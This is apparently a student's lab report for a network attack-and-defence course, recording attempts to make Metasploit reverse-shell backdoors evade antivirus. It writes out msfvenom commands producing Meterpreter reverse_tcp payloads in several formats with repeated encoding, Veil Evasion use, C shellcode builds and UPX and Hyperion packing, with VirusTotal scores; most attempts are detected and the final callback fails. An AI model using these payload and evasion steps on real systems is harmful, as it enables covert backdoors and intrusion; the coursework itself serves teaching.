20232424 2025-2026-1 《网络与系统攻防技术》实验三实验报告

20232424 2025-2026-1 《网络与系统攻防技术》实验三实验报告

1.实验内容

  • 1.1尝试使用msfvenom中的编码器生成多种类型的后门文件
  • 1.2利用工具对文件进行加壳操作
  • 1.3使用C语言 + shellcode编程
  • 1.4尝试利用免杀技术通过杀毒软件的检测并进行回连

2.问题回答

  • (1)杀软是如何检测出恶意代码的?
    • 特征码检测:提取恶意代码的唯一特征(如特定字符串、指令序列),与杀软数据库中的特征库比对,匹配即判定为恶意。
    • 行为检测:监控程序运行时的异常行为(如修改系统注册表、反弹连接、静默植入、窃取敏感信息等),若触发行为规则就立即告警。
  • (2)免杀是做什么?
    • 免杀是通过技术手段,修改恶意代码的特征、行为或结构,躲避杀软的检测,让恶意代码能在目标系统中正常运行。
  • (3)免杀的基本方法有哪些?
    • 修改特征:对恶意代码进行加壳(如UPX与hyperion)、混淆、加密,破坏原有特征码。
    • 行为伪装:修改恶意行为的执行逻辑(如延迟反弹连接、分段执行恶意操作、模拟正常程序行为),规避杀软的行为检测规则。

3.实验过程

3.0评判基准

本次实验以VIRUSTOTAL网站对后门文件的检测作为免杀效果的评判基准,对实验二的后门软件进行检测,如下图:
vt-1
结果为50/71

3.1Msfvenom使用编码器

1.首先查看Msfvenom可使用的编码器,如图:
image

  • 这里先使用shikata_ga_nai对后门程序进行一次编码
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.19.129 LPORT=8000 -f exe > 20232424alive.exe

vt-2
一次编码效果如图,比不使用编码稍强,但无法实现免杀

  • 对后门程序进行十次编码
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai  -i 10 -b '\x00' LHOST=192.168.19.129 LPORT=8000 -f exe > 20232424alive_1.exe
#-i [n] 表示进行n次编码

vt-3
效果如图,只比一次编码多绕过一个检测,效果不理想

2.生成jar文件

  • 将后门文件以jar包格式生成
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.19.129 LPORT=8000 x > 20232424jar.jar

vt5jar
效果如图,与上一步中一次编码的程序效果一致

  • 对jar包进行十次编码
msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.19.129 LPORT=8000 x > 20232424jar2.jar

vt6jar2
效果如图,与一次编码的jar包无差别,免杀效果仍不理想

3.生成php文件

  • 将后门文件以php格式生成
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.19.129 LPORT=8000 x > 20232424php.php

php1
效果如图,与之前的文件相比,免杀效果有提高

  • 对php文件做十次编码
msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.19.129 LPORT=8000 x > 20232424php.php

php2
此次效果大大提高,但仍有8个工具可检测出该php文件有威胁

3.2使用veil工具尝试免杀

1.环境配置
下载并安装veil工具

sudo apt -y install veil #下载veil工具

usr/share/veil/config/setup.sh --force --silent #静默运行Veil工具的初始化设置脚本,自动配置Veil运行所需的所有依赖环境和组件

屏幕截图 2025-10-26 012030
屏幕截图 2025-10-26 013103
屏幕截图 2025-10-26 013033
完成

2.使用veil生成后门文件

veil
use 1 #进入Evasion(可生成绕过检测的后门文件)

veiluse1
list查看可用载荷
veillist
选择7)c/meterpreter/rev_tcp.py

set LHOST 192.168.19.129
set LPORT 2409 
generate #生成载荷
payload_120232424 #生成文件的文件名 

payload_1
/var/lib/veil/output/compiled目录下可找到payload_20232424
payload

检测该文件免杀情况
vtpayload
如图,仍可被36个工具检测出,veil工具也无法完全实现免杀

3.3C语言调用Shellcode

1.使用msfvenom生成一个C语言格式的shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.19.129 LPORT=8000 -f c
使用vi编辑器为后门文件加一个函数,如图:
vishellcode
将.c文件编译为可执行文件
-oshellcode
传入物理机进行检测
vtshellcode

2.加压缩壳upx

upx shellcode_c_20232424.exe -o shellcode_c_upx_20232424.exe

检测效果如图:
vtupx

3.加密壳hyperion
这一步需要在/usr/share/windows-resources/hyperion/目录下进行
将上一步中的exe文件复制到该目录下,通过wine hyperion.exe -v shellcode_c_20232424.exe shellcode_c_hyp_20232424.exe对文件加密
hyperion

检测效果如图:
vthyper
效果较之前更差

3.4综合应用

1.生成一个十次编码的后门文件,参考上述步骤对其编译、加壳(压缩壳与加密壳均使用)
得到一个综合了所有技术的后门文件20232424_shellcode_multi_3.exe
multi1
multi2
multi3
multi4
multi5
对文件检测:
vtmulti
如图,效果依旧很差

3.5尝试回连

1.以上步骤均在关闭“windows安全中心-实时保护”的情况下进行,现在打开尝试免杀
实时保护
实时保护2
如图,文件被“秒杀”,后门程序被删除

使用python试试能不能绕过检测
在虚拟机中生成一个.py后门文件传入物理机进行编译
python1
python2
python3
编译完成后可执行文件就被查出并删除,只留下.py文件与SPEC文件

2.使用“火绒”进行杀软检测
开启后火绒代替windows安全中心进行实时保护
屏幕截图 2025-10-27 174612
综合了多项工具的multi_3文件依旧被秒杀,但发现未添加加密壳的multi_2.exe可成功传入
屏幕截图 2025-10-27 175646
成功绕过检测
屏幕截图 2025-10-27 174754
但无法运行multi_2.exe,尝试回连失败

本次使用的杀毒软件为“火绒安全卫士”,版本:6.0.7.14,病毒库:2025-10-26 18:08

image

4.问题及解决方案

本次实验参考同学们的博客进行,并未遇到较大问题

5.学习感悟、思考等

参考资料

posted @ 2025-10-27 22:09  20232424陈鹏宇  阅读(9)  评论(0)    收藏  举报